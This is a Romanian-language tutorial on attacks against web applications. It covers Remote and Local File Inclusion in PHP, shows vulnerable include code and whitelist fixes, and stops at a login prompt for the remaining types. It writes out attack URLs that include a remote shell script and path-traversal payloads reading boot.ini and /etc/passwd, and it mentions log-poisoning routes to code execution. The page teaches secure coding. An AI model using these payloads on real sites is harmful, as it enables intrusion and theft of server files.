Atacuri asupra serverelor web



Voi Incepe prin a spune ca un website poate fi atacat prin 2 mari metode:



Atac asupra aplicatiei Web

Atac asupra serverului

Deocamdata voi vorbi doar despre atacurile asupra aplicaţiei Web si anume despre urmatoarele tipuri de vulnerabilitaţi:

  • 1. Remote File Inclusion ( RFI );
  • 2. Local File Inclusion ( LFI );
  • 3. Cross Site Scripting ( XSS );
  • 4. HTTP Header Injection;
  • 5. SQL Injection;
  • 6. Login ByPass;
  • 7. Arbitrary File Upload;
  • 8. Remote Code and Command Execution;
  • 9. Full Path Disclosure;
  • 10. Insecure Cookie Handling.


1. Remote File Inclusion ( RFI )

Este un tip de vulnerabilitate din ce In ce mai rar Intalnit In ziua de azi, dar este de asemenea cel mai periculos. Vulnerabilitatea consta In includerea unui fisier aflat pe alt server, folosind un parametru GET. Practic, scriptul va include direct fisierul specificat prin valoarea unei variabile trimise prin GET. Sa dam un exemplu. Programatorul foloseste urmatorul cod pentru a include un fisier:

Cod:

     if (isset($_GET['pagina'])) {
         $pag=$_GET['pagina'];
         include $pag; // Sau include $pag.".php";
    }


Unde e greseala? In ideea scriptului.

Daca utilizatorul va specifica pentru variabila 'pagina' valoarea " http://www.dlsit.ro/script.php", scriptul va include acest fisier (desigur, daca allow url include este activata in fisierul de configurare al php-ului ).

Sa luam un exemplu. Daca un utilizator atribuie variabilei pagina valoarea "http://test.ro", scriptul va include conţinutul site-ului. Dar va include codul HTML generat de server.

Insa ce se Intampla daca utilizatorul include "http://www.dlsit_rau.ro/script.txt"? Daca va include un "http://www.dlsit.ro/script.php", acest script va fi interpretat ( In caz ca pe server se afla PHP ) pe serverul pe care se afla, iar scriptul va include outputul HTML. Insa daca se include un fisier cu extensia .txt, iar scriptul conţine cod PHP, serverul va interpreta el acel cod.

De cele mai multe ori se foloseste un shell ( script PHP, bine scris, care permite executarea multor funcţii pe serverul victima ). De exemplu, daca utilizatorul va include "un script r57.txt", atunci va putea face multe lucruri pe server.

Insa cu ce ajuta acel ".php"? Simplu, cu nimic. Utilizatorul va folosi o sintaxa de genul: "http://www.dlsit.ro/script.php?pagina=http://www.dlsit.ro/script.txt?".

Singurul lucru necesar pentru acesta e adaugarea caracterului "?" la sfarsitul URL-ului pe care doreste sa fie inclus. Acest "?" va transforma ".php"-ul de intrare In variabila prin GET, si nu va afecta In nici un fel includerea scriptului. Se poate folosi de asemenea si "%00", care reprezinta caracterul cu codul ASCII 0, caracterul NULL, care marcheaza sfarsitul unui sir de caractere. Deci ceea ce se afla dupa acest NULL nu e luat In considerare.

Cum se poate fixa?

In mod normal, prin filtrarea sirurilor "http://" si "ftp://", dar nu recomand aceasta solutie, pentru ca scriptul va putea include fisiere locale, si se ajunge la LFI. Cea mai buna solutie e schimbarea ideii incluziunii. Se poate folosi foarte usor un switch, care va contine o lista cu paginile care pot fi incluse. Exemplu:

Cod:

   if(isset($_GET['pagina'])) {
      $pag=$_GET['pagina'];
      switch($pag) {
       case "pag1.php":
         include "pag1.php";
         break;
       case "pag2.php":
         include "pag2.php";
         break;
      default:
         include "meniu.php";
      }
   }

2. Local File Inclusion

Este un tip de vulnerabilitate mai des Intalnita decat RFI, dar principiul e acelasi: includerea unui fisier trimis folosind o variabila prin GET, Insa scriptul va verifica daca acel fisier exista, iar daca exista Il va include.
Exemplu:

Cod:

         if(isset($_GET['pagina'])) {
            $pag=$_GET['pagina'];
            if(file_exists($pag)) {
            include $pag.".php";
            }
         }

Nu e la fel de periculos ca RFI (de asemenea poate include fisiere locale), dar este foarte periculos, si se poate ajunge la RFI de la el.
Scriptul verifica daca fisierul se afla pe server, dar pe server nu se afla decat fisierele scriptului (CMS...) care contine pagina cu LFI. Deci se pot include fisiere de pe server.

Exemplu (Windows): http://site.com/script.php?pag=../../../../../boot.ini Dar daca scriptul include si acel ".php" va fi nevoie de folosirea caracterului NULL pentru a fi posibila incluziunea: http://site.com/script.php?pag=../../../../../boot.ini%00 Probabil stiti si voi ca acele "../" se folosesc pentru a "Inainta" In folderul anterior folderului In care se afla scriptul cu probleme. Astfel se va include fisierul "boot.ini", care va fi afisat In browser.

Desigur, nu Il Incanta cu nimic sa includa acel fisier, dar pe Linux poate include fisiere care contin date importante ca "etc/passwd" sau altele. Dar sa nu uitam ca se poate ajunge la RFI. Se poate ajunge prin injectarea de cod PHP In loguri, apoi includerea fisierului cu loguri, care contine cod PHP, sau prin injectarea unui cod PHP Intr-o imagine urmat de uploadarea acesteia pe server (daca este posibil), apoi includerea sa. Desigur, nu este RFI, dar se poate ajunge la aceleasi probleme pe care le poate provoca un RFI. Cum se poate fixa? La fel ca si RFI, folosind un switch pentru paginile care pot fi incluse. De asemenea, se pot filtra sirurile "../" sau "..\" (Windows).



Pentru a putea vizualiza celelalte tipuri de atac va rugam sa va logati.


Linux, servere, hacking, securitate web   www.dlsit.ro/Pentru orice problema tehnica contactati-ne